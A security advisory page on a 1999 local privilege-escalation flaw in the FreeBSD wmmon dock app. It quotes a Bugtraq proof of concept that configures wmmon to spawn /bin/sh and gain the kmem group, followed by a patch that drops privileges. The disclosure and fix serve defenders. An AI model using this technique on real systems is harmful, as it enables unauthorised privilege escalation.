FreeBSD WMMon Vulnerability

BID:885

Info

FreeBSD WMMon Vulnerability

Bugtraq ID: 885
Class: Input Validation Error
CVE:
Remote: No
Local: Yes
Published: Dec 22 1999 12:00AM
Updated: Dec 22 1999 12:00AM
Credit: First posted to Bugtraq by Steve Reid <[email protected]> on December 21, 1999.
Vulnerable: Windowmaker wmmon 1.0 b2
- FreeBSD FreeBSD 3.3
Not Vulnerable:

Discussion

FreeBSD WMMon Vulnerability

WMMon is a multiple platform Window Maker docking application. It monitors useful system information such as CPU load and disk activity. The application also allows the user to define commands that can be launched by mouse clicks in the WMMon window. If the WMMon application is installed SUID or SGID, these privileges are not dropped before executing commands that have been defined by the user. Since the user can configure the application to execute any command, a user can run a shell or any other executable with the privileges that WMMon has been installed with. The FreeBSD ports version of WMMon installs SGID kmem and older versions installed it as SUID root.

Exploit / POC

FreeBSD WMMon Vulnerability

The following was taken directly from a Bugtraq posting by Steve Reid <[email protected]> on December 21, 1999. There is a link to this article in the credit section.

Exploit:
% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve)

Solution / Fix

FreeBSD WMMon Vulnerability

Solution:
The following was taken directly from a Bugtraq posting by Steve Reid <[email protected]> on December 21, 1999. There is a link to this article in the credit section.

Here is a patch:

--- work/wmmon.app/wmmon/wmmon.c.old Thu Dec 2 02:06:55 1999
+++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2 04:20:22 1999
@@ -318,6 +318,8 @@

if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); }
+ if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
+ if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
if (kvmd) {
if (kvm_nlist(kvmd, nl) >= 0) {
struct nlist *nlp;

References

FreeBSD WMMon Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report